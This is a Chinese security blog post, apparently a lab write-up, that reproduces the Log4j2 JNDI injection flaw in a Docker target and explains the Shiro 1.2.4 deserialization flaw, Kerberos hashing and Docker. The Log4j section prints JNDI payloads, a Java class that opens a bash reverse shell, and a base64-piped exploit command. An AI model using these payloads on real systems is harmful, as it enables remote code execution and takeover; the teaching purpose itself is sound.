框架漏洞--->Log4j2 Shiro1.2.4反序列化基础

news2025/1/19 2:31:31

上次讲了thinkphp 那么这次我们就来讲一下log4j2

                        

1.关于log4j2的原理 ----> CVE-2021-44228

当时这个漏洞出来的时候,可以说是轰动了全球~!!!!!

  当时基本上是用这个框架的都爆出了这个漏洞

于是,它就在框架漏洞中占有了一席重要之地!!!!    下面,我们就来讲一下漏洞的原理

由于 Apache Log4j 存在递归解析功能,未取得身份认证的用户,可以从 远程发送数据请求输入数据日志,轻松触发漏洞,最终在目标上执行任意代码。
光看定义肯定是看不懂的 ,我们可以先来普及两个定义!!!

1.Ldap(Lightweight Directory Access Protocol

LDAP可以理解是一个简单存储数据的数据库LDAP有一个 客户端和服务器端,server端是用来存放资源,client端主要用于查询等操作。服务端都是有各大厂商的产品的比如Microsoft的AD,当然可以自己做。客户端通过LDAP协议去访问服务器端。而ldap默认开启的是389端口

2. Jndi (JAVA NAMING AND Directory interface

JNDI Java 命名和目录接口) ,则是 Java中用于访问LDAP的API , 是为了Java 程序访问命名服务和目录服务而提供的统一API。
说人话,就是:就是通过 java 中的 JNDI 访问 ldap 协议的服务。
有了以上的两个概念,我们就可以讲一下漏洞的形成的了!!!

                           

其实这也算的上是一个jndi的注入吧!!!

通过上面的过程,我们就可以知道这一个漏洞的本质了!!!

利用jndi访问ldap服务后,ldap服务返回了class攻击代码,被攻击的服务器执行了攻击代码。
远程代码执行漏洞,是利用了Log4j2可以对日志中的“${}”进行解析执行,来进行攻击的
那么有了基本知识之后,我就来讲三种复现的方法

2.Log4j2 漏洞复现

1.单进程复现

首先肯定是要搭建环境啦

docker pull vulfocus/log4j2-rce-2021-12-09

 启动环境,并且进行端口映射

docker run -d -p 8083:8080 vulfocus/log4j2-rce-2021-12-09

可以看见成功运行!!! 

开搞!!!! 先用个dnslog探针去试试水,不过记得编码哦!!

${jndi:ldap://pcakvm.dnslog.cn/exp}

   于是就能发现

于是就能开开始我们的复现手段

我们就要去部署我们的攻击机VPS,先去开个端口

然后在去开一个NC进行监听

  

然后就是BP弹poc,记得进行URL编码!!!

${jndi:ldap://192.168.180.38:7777/Basic/ReverseShel/192.168.180.38/9191}

然后可以看见,可能是配置问题  最后 failed 了~~ 

2.多进程复现

我们可以先编辑一个文件

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
static {
try {
           Runtime rt = Runtime.getRuntime();
           String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/接受shell的ip/nc监听的端口 0>&1"};
           Process pc = rt.exec(commands);
           pc.waitFor();
       } catch (Exception e) {
           // do nothing
       }
    }
}
//javac Exploit.java      

然后就去编译

javac Exploit.java

然后就是将你的编译出来的文件放在这个文件夹下 

然后先去开一个服务器(这个页面下)

sudo python3 -m http.server 80

然后就是去开启Ldap的服务器

然后就去BP去输入POC (记得编码)

${jndi:ldap://192.168.180.38:800/Exploit}

但是好像还是弹不成功 

3.单线程操作 !!(成功!!!!!!!)

这一个是成功的!!!! 来看以下的流程

先是你的poc

bash -i >& /dev/tcp/ip(地址)/(端口) 0>&1

这个poc我以前解释过了就不在详细赘述了,不过还是解释一下一些东西

  •  >& /dev/tcp/ip地址/端口   将标准输出和标准错误重定向到指定的 TCP 连接 
  • 0>&1 将标准输入重定向到标准输出,使得输入和输出都通过 TCP 连接

然后就要去将这段poc去进行Base64编码!!! 再去拼接这一段

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64编码之后的代码}|{base64,-d}|{bash,-i}" -A "你监听的ip"

然后就会弹出下面的这些 

我就选择用JDK 1.8_Ldap的那个!!然后抓包,放包,一气呵成!!!

但是,在这之前,你记得先去nc开个监听!!!!

然后就是能成功地弹Shell 啦!!!!

这样,就完成了log4j2地复现了!!!!

3.Shiro 反序列化

首先,我们来铺垫一下基础,关于反序列化

反序列化,就是序列化的逆过程(虽然好像什么都没说),那我们就来说一下序列化吧!!

序列化,一般发生在表示层,即将对象转化成为字节流,便于保存在内存,文件,数据库中

说个人话,序列化就是将图片,音频这种转换成字节流,然后进行传输  
继续说人话,反序列化就是将接受到的字节流转换成图片,音频等过程
为什么会形成漏洞呢?? 我们就拿Shiro1.2.4这个版本来说
  • Shiro提供了一个RememberMe的功能,而且他这样的一个过程
  • RememberMe Cookie值-->序列化 --> AES加密 --->Base64加密
  • 那么在服务端收到之后,就会将数据先进行Base64解码,然后AES解码,最后反序列化

那么这个过程中的漏洞在哪里呢

 :????咋看起来也没什么漏洞啊???

没错,关键就在于AES加密的密钥Key被硬编码在代码里,Shiro是开源软件,意味着每个人通过源代码都能拿到AES加密的密钥,而且AES是一种对称性加密算法!!!所以攻击者就可以将恶意代码进行序列化,然后进行Shiro框架的AES加密,然后再base64加密之后再次发送给服务端,当服务端反序列化的时候(而且还不过滤),那恶意的代码就会被执行

关于漏洞复现,我们下一篇blog再讲!!!

4.Kerberos协议的误解

还记得之前讲过的Kerberos认证吗,里面有一些常见的误区,我们来看一下!!

在用户向KDC中的AS请求之后,KDC会向用户返回Sessionkey 和TGT

  • 其中的Sessionkey是用的用户的NTLM_hash进行加密
  • 其中的TGT用的是krbtgt用户的hash加密!!

那么其中我们说的NTLM_Hash加密,和NTLM算法可是不一样的!!!

下面我们先来回顾一下NTLM算法

from Crypto.Hash import MD4
import binascii
 
password = "admin".encode("utf-16le")   # 将字符串 "admin" 进行Unicode编码
md4_hash = MD4.new(password).digest()
print(binascii.hexlify(md4_hash).decode())    # 将二进制的 MD4 哈希值转换为十六进制,并打印出来
  1. 首先讲所有字符串转换成为hex编码
  2. 然后将字符串进行Unicode编码
  3. 最后进行MD4的单向Hash加密

这样就得到了我们SAM文件中的NTLM_hash了,这过程是不可逆的!!!毫无疑问

但是呢,如果是在KDC中的AS生成的SessionKey中的加密方式是公钥加密算法

也就是拿这些Hash去当作密钥,进行对成性加密!!!这个过程在知道密钥的情况下是可以逆向解出SessionKey的!!!

这也就是为什么可以伪造黄金票据TGT 和白银票据ST 

5.讲讲Docker !!

其实我们用了那么久的docker,那么啥是docker呢???

Docker 是一种开源的容器化平台,用于开发、交付和运行应用程序。它使开发人员能够将应用程序及其所有依赖项打包到一个称为容器的可移植容器中,然后将其部署到任何支持 Docker 的环境中

然后,为什么docker下运行的虚拟机的内存会这么小呢??

Docker 利用宿主机的内核来运行容器,而不是每个容器都有自己的操作系统

通过与主机共享内核,就不需要再去安装显卡,内存处理器等资源!!!! 

那么我们就来演示一下通过docker来进行靶场的训练!!!  

docker search  dvwa //拿dvwa的靶场来演示
docker search  citizenstig/dvwa

 然后就是去拉取环境了!!!!

 

然后就要进行端口映射了!!这样才能被访问得到

docker run -d -p 你写一个端口:80 对应得imageid

然后就可以去访问了

那就来一关最简单得文件上传吧!!!

不出意外,能连接上

不出意外也是可以执行命令的!!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1496314.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【C语言 数据结构】堆与二叉树(下)

接着上次的,这里主要介绍的是堆排序,二叉树的遍历,以及之前讲题时答应过的简单二叉树问题求解 堆排序 给一组数据,升序(降序)排列 思路 思考:如果排列升序,我们应该建什么堆&#x…

Redis面试题(答案版)2024

基础内容 1、简单介绍以下你了解的Redis (1)高性能:Redis是基于内存的,读写速度非常快,可以支持10w的QPS。 (2)用途多样:缓存、消息队列、分布式锁等 (3)支持…

物联网电气融合实训室建设方案

1 教学实训总体设计 1.1 建设背景 (一)政策推动与战略部署 近年来,物联网技术在全球范围内得到了广泛的关注和应用。作为信息技术的重要组成部分,物联网在推动经济转型升级、提升社会管理水平、改善民生福祉等方面发挥着重要作…

ChatGPT高效提问——说明提示技巧

ChatGPT高效提问——说明提示技巧 现在,让我们开始体验“说明提示技巧”(IPT, Instructions Prompt Technique)和如何用它生成来自ChatGPT的高质量的文本。说明提示技巧是一个通过向ChatGPT提供需要依据的具体的模型的说明来指导ChatGPT输出…

FPGA-串口接收图像写入RAM并读出在TFT显示屏上显示

系统框图: 需要用到的模块有: 1,UART_RX(串口接收模块); 2,串口接受的数据存放到RAM模块; 3,RAM IP核; 4,时钟IP核 (TFT显示屏驱动时钟的产生&#xff09…

理解循环神经网络(RNN)

文章目录 1. 引言:什么是RNN以及它的重要性RNN简介RNN在机器学习中的作用和应用场景 2. RNN的工作原理神经网络基础RNN的结构和运作方式循环单元的作用 3. RNN的关键特点与挑战参数共享长期依赖问题门控机制(例如LSTM和GRU)代码示例&#xff…

【Vue】vue3 在图片上渲染 OCR 识别后的文本框、可复制文本组件

需求 后面返回解析后的文本和四角坐标,在图片上渲染成框,并且可复制。图片还可以缩放、拖拽 实现 这里要重点讲下关于OCR文本框的处理: 因为一些文字可能是斜着放的,所有我们要特殊处理,根据三角函数来计算出它的偏…

openEuler学习——部署MGR集群

本文介绍如何利用GreatSQL 8.0.25构建一个三节点的MGR集群。 1.安装准备 IP端口角色192.168.20.1103306mgr1192.168.20.1113306mgr2192.168.20.1123306mgr3 配置hosts解析 [rootMGR1 ~]# cat >> /etc/hosts << EOF > 192.168.20.110 MGR1 > 192.168.20.1…

小程序商城营业执照办哪种类型的?

在数字化浪潮的推动下&#xff0c;越来越多的商家选择通过微信小程序商城来拓展线上业务。但在启动小程序商城之前&#xff0c;有一项关键性的准备工作不可忽视——那就是营业执照的办理。本文将为您详细解读小程序商城营业执照的办理类型及相关流程步骤&#xff0c;帮助您顺利…

虚拟机时间同步主机

1.查看是否设置同步 2.查看时区 date -R 0800 表示时区东八区 明显不对 执行指令&#xff1a; tzselect &#xff1b;找到亚洲-中国-北京 3.覆盖一下文件 复制文件到 /etc/localtime 目录下&#xff1a;#sudo cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime 4.重现查…

【DAY08 软考中级备考笔记】机组:计算机组成和数据转换

机组&#xff1a;计算机组成和数据转换 3月2日 – 天气&#xff1a;晴 1. 计算机的基本组成结构 计算机的硬件由运算器&#xff0c;控制器&#xff0c;存储器&#xff0c;输入和输出设备组成其中&#xff0c;控制器和运算器成为CPU控制器又分为了内部存储器和外部存储器。内部…

Python与FPGA——膨胀腐蚀

文章目录 前言一、膨胀腐蚀二、Python实现腐蚀算法三、Python实现膨胀算法四、Python实现阈值算法五、FPGA实现腐蚀算法总结 前言 腐蚀是指周围的介质作用下产生损耗与破坏的过程&#xff0c;如生锈、腐烂等。而腐蚀算法也类似一种能够产生损坏&#xff0c;抹去部分像素的算法。…

FX110网:判断行情是真突破还是假突破?用这几招就够了

众所周知&#xff0c;在交易过程中&#xff0c;趋向线的突破对买入、卖出时机等选择具有重要的分析意义。因此&#xff0c;搞清趋势线何时突破&#xff0c;是有效的突破还是非有效的突破&#xff0c;于投资者而言是至关重要的。 本文将提供一些对于趋向线突破的判断方法和市场原…

学习Java的第三天

如何使用IDEA工具编写Java语言 上一节课已经讲过了&#xff0c;如何使用文本文档写出代码并在管理员控制台打印出来 接下来给大家分享的是使用IntelliJ IDEA工具 一、如何将IntelliJ IDEA设置成中文 1、点击右上角的图标&#xff0c;有人的图标会不一样&#xff0c;但位置是…

停工待料,责任真的全在PMC吗?天行健深度剖析背后的原因

在现代制造业中&#xff0c;停工待料的现象时有发生&#xff0c;这不仅影响了生产进度&#xff0c;还增加了企业的运营成本。很多人会自然而然地将责任归咎于生产物料控制&#xff08;PMC&#xff09;部门&#xff0c;认为是他们没有做好物料计划和管理。但事实上&#xff0c;停…

【Web】浅浅地聊SnakeYaml反序列化两条常见利用链

目录 关于Yaml 关于SnakeYaml SnakeYaml反序列化利用 JdbcRowSetImpl链 ScriptEngineManager链 复现 基本原理 继续深入 关于Yaml 学过SpringBoot开发的师傅都知道&#xff0c;YAML和 Properties 文件都是常见的配置文件格式&#xff0c;用于存储键值对数据。 这里举…

公车5.0优化内容

1、首屏加载速度慢&#xff0c;原因是commons重复打包了&#xff0c;删除即可&#xff0c;首屏加载速度提升了10几秒&#xff0c;本地打包速度提升了2分钟 2、删除$dogShanXi重复方法&#xff0c;并全局替换dogShanXi方法 3、Tab打开太多页面卡死&#xff0c;设置最多打开10个 …

2024小红书商家投放策略怎么制定?广告形式有哪些

据平台的消息&#xff0c; 截止2021年11月&#xff0c;小红书月活已达到2亿。其中 有72%为90后&#xff0c;超50%来自一二线城市。如何充分把握好这一趋势&#xff0c;这就需要一些行之有效的小红书投放策略。今天我们和大家分享下2024小红书商家投放策略怎么制定&#xff0c;广…

【C++庖丁解牛】C++内存管理 | new和delete的使用以及使用原理

&#x1f4d9; 作者简介 &#xff1a;RO-BERRY &#x1f4d7; 学习方向&#xff1a;致力于C、C、数据结构、TCP/IP、数据库等等一系列知识 &#x1f4d2; 日后方向 : 偏向于CPP开发以及大数据方向&#xff0c;欢迎各位关注&#xff0c;谢谢各位的支持 目录 1. C/C内存分布2. C语…

Go程序是如何编译并运行起来的(图文详解)

Go程序是如何编译的 从hello RdrB1te开始 package main import "fmt" func main() { fmt.Println("hello RdrB1te") }不实际编译它&#xff0c;只输出它的编译过程&#xff1a; go build -n简单的编译过程分析&#xff1a; 上面的过程确认了两个…